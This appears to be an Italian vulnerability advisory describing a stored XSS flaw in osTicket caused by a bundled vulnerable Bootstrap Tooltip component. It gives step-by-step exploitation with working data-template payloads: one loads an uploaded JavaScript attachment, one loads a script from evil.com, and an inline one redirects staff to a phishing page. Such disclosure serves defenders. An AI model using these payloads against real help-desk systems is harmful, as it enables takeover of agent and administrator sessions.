
Cross-Site Scripting (XSS) Memorizzato in osTicket tramite Componente Tooltip Bootstrap Vulnerabile
Enhancesoft osTicket versioni dalla 1.10 fino alla 1.17.7 e dalla 1.18.0 fino alla 1.18.3 includono il componente Bootstrap Tooltip 3.3.4 noto per essere vulnerabile (CVE-2019-8331), che introduce una vulnerabilità di Cross-Site Scripting (XSS) memorizzato.
Nella configurazione predefinita di osTicket, i mittenti di ticket ("utenti") possono inviare ticket senza autenticazione preventiva e la registrazione autonoma degli utenti è aperta di default. Un utente remoto può creare un messaggio di ticket malevolo che, nonostante passi attraverso il modulo di sanificazione HTML htmlLawed, provoca l'esecuzione arbitraria di JavaScript nel browser di qualsiasi Agente o Amministratore che lo visualizza. Il problema è ulteriormente aggravato dal fatto che i file JavaScript caricati dall'utente vengono serviti con un Content-Type di tipo eseguibile JavaScript (text/javascript), consentendo loro di essere interpretati come contenuto attivo dai browser. Mentre i payload inline sono limitati dal modo in cui Bootstrap Tooltip 3.3.4 analizza il valore data-template in un oggetto jQuery e lo inserisce nel DOM tramite appendTo() o insertAfter(), l'esecuzione di codice controllato dall'attaccante come script esterni evita queste limitazioni e consente uno sfruttamento più potente della vulnerabilità.
Testate e confermate vulnerabili:
Versioni interessate:
Questo componente è presente nel codebase di osTicket dal 13 maggio 2015, come mostrato da:
scp/js/bootstrap-tooltip.jse5a28410ae7c238932eef07c2b3568da015a792cQuesto commit è associato ai tag di rilascio di osTicket risalenti alla versione 1.10, indicando che il componente Bootstrap Tooltip vulnerabile è stato incluso in un'ampia gamma di release di osTicket attraverso diverse versioni principali. Questa inclusione di lungo periodo suggerisce fortemente che molte versioni di osTicket rilasciate nel corso degli anni sono vulnerabili.
osTicket è un sistema di ticketing open source ampiamente utilizzato che consente agli utenti finali di inviare contenuti HTML ricchi e allegati file come parte della creazione e delle risposte ai ticket.
osTicket definisce tre categorie principali di utenti:
Qualsiasi contenuto HTML inviato da un Utente può successivamente essere visualizzato nel browser di un Agente o Amministratore, rendendo le vulnerabilità lato client particolarmente significative.
Prima, autenticati con il tuo account utente finale e vai alla pagina di creazione del ticket.
Poi crea un file JavaScript (es: test.js) contenente un payload. Ad esempio:
alert(123);
Nota: per impostazione predefinita, osTicket consente allegati ticket senza restrizioni sul tipo di file.

Quindi invia il ticket cliccando su “Crea Ticket” senza fornire alcun “Dettaglio Problema”.
L'applicazione ci reindirizzerà al modulo di invio ticket con l'errore “Il Dettaglio Problema è un campo obbligatorio”.
Questa pagina ci consente di recuperare un link per scaricare il nostro file JavaScript (test.js) senza aver effettivamente inviato un ticket.


Una volta ottenuto questo link, torna al modulo di invio ticket.
Clicca sull'editor HTML e incolla questo payload, sostituendo l'attributo src del tag script con il link ottenuto in precedenza.
<input>
<div style="width:100%;height:100%;pOsition:fixed;tOp:0px;lEft:0px;z-Index:9999" data-toggle="tooltip" title="t" data-template="<script src='[LINK_QUI]'>"></div>
<input>
Di seguito un esempio di payload completo, dove il pattern [LINK_QUI] è stato sostituito con il link ottenuto in precedenza:
<input>
<div style="width:100%;height:100%;pOsition:fixed;tOp:0px;lEft:0px;z-Index:9999" data-toggle="tooltip" title="t" data-template="<script src='http://localhost:8080/file.php?key=rjfge-qlcmbwgnsfl8hhwktyhctre-_e&expires=1768780800&signature=5044f8201f041228de077a2e025e6fc118b31223'>"></div>
<input>
Quindi invia il ticket.

Quando un amministratore o un agente visualizza il nostro ticket malevolo, il payload viene attivato.

Risultato:
Quando un amministratore/agente apre il ticket malevolo, il payload JavaScript viene caricato ed eseguito nel contesto della sessione dell'amministratore/agente.
Ciò si traduce in un XSS memorizzato, che consente il pieno compromissione della sessione (ad es. tramite ezXSS, CSRF per eseguire azioni da amministratore/agente).
Se il ticket malevolo viene visualizzato da un Agente, lo XSS memorizzato viene eseguito nel contesto della sessione autenticata dell'Agente.
Ciò consente a un attaccante di prendere effettivamente il controllo della sessione dell'Agente senza dover estrarre il cookie di sessione (ad es. anche in scenari in cui l'esfiltrazione dei cookie non è pratica e viene utilizzata una piattaforma XSS cieca come ezXSS). Una volta eseguito lo XSS, l'attaccante può eseguire qualsiasi azione che l'Agente compromesso è autorizzato a eseguire, ad esempio:
Ciò si traduce in una compromissione totale delle capacità operative dell'Agente e della riservatezza/integrità del flusso di lavoro del ticketing.
Se il ticket malevolo viene visualizzato da un Amministratore, l'impatto sale a una compromissione completa dell'applicazione. L'attaccante può:
Sebbene la configurazione predefinita di osTicket consenta il caricamento di file JavaScript, osTicket può essere configurato nel Pannello Amministratore in modo che un utente finale non sia autorizzato a caricare file JavaScript.
Inoltre, il Pannello di Controllo Staff utilizzato da agenti e amministratori impone una Content Security Policy che impedisce l'esecuzione di JavaScript proveniente da domini di terze parti.
Prendiamo come esempio il seguente payload:
<input>
<div style="width:100%;height:100%;pOsition:fixed;tOp:0px;lEft:0px;z-Index:9999" data-toggle="tooltip" title="t" data-template="<script src='http://evil.com'></object>"></div>
<input>
Lo screenshot seguente mostra che il caricamento di uno script da https://evil.com è stato bloccato dalla Content Security Policy imposta sul Pannello di Controllo Staff.

Tuttavia, la Content Security Policy implementata nell'applicazione consente JavaScript inline.

Nel caso in cui il caricamento di file JavaScript sia bloccato, è comunque possibile per un attaccante eseguire azioni malevole. Consideriamo il payload seguente:
<input>
<div style="width:100%;height:100%;pOsition:fixed;tOp:0px;lEft:0px;z-Index:9999" data-toggle="tooltip" title="t" data-template=""></div>
<input>
Il payload Base64 decodifica in:
<script>top.location = "https://example.com";</script>
Questo payload consente a un attaccante di reindirizzare un agente o amministratore che visualizza il ticket malevolo a un sito web arbitrario, ad esempio un sito di phishing.
Ecco il risultato dopo aver visualizzato un ticket contenente il payload sopra.
